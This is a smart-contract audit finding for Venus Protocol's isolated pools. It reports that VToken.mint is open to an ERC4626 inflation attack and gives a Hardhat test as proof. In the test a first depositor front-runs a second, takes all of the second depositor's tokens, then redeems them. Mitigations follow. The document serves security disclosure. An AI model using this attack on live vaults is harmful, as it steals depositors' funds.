Venus Protocol Isolated Pools - qpzm's results

Lines of code

https://github.com/code-423n4/2023-05-venus/blob/main/contracts/VToken.sol#L743 https://github.com/code-423n4/2023-05-venus/blob/main/contracts/VToken.sol#L756 https://github.com/code-423n4/2023-05-venus/blob/main/contracts/VToken.sol#L1476

Vulnerability details

Impact

VToken.mint is vulnerable to ERC4626 inflation attack. The first depositor may steal all the underlying tokens from the second one.

Proof of Concept

Copy and paste this test in mintAndRedeemTest.ts L248 before mint tests. https://github.com/code-423n4/2023-05-venus/blob/main/tests/hardhat/Tokens/mintAndRedeemTest.ts#L248

  describe.only("mint - ERC4626 inflation attack", () => {
    it("minter2 transferred 1e18 underlying token but get 0 VToken", async () => {
      const minter2 = redeemer;
      // 1. Minter1 mints not to use initialExchangeRate next time
      await quickMint(underlying, vToken, minter, 1); // totalSupply is 1

      // 2. Front running: Minter1 transfers the same amount of underlying token to VToken
      const mintAmount = convertToUnit("1", 18);
      await preApprove(underlying, vToken, minter, mintAmount, {faucet: true});
      await underlying.connect(minter).transfer(vToken.address, mintAmount);

      // 3. Minter2 wants to mint by giving `mintAmount` underlying tokens.
      await quickMint(underlying, vToken, minter2, mintAmount);

      // 4. But he receives mintAmount / (1 + mintAmount) = 0 VToken.
      expect(await vToken.balanceOf(await minter2.getAddress())).to.equal(0);

      // 5. Minter1 takes all.
      await quickRedeem(vToken, minter, 2000000000000000001n);
      expect(await underlying.balanceOf(await minter.getAddress())).to.equal(2000000000000000001n);
    });
  });

Tools Used

Manual review and hardhat tests.

Recommended Mitigation Steps

1. Keeping track of the total assets internally
2. Creating "dead shares" Reference: https://github.com/OpenZeppelin/openzeppelin-contracts/issues/3706#issuecomment-1297199749

Assessed type

ERC4626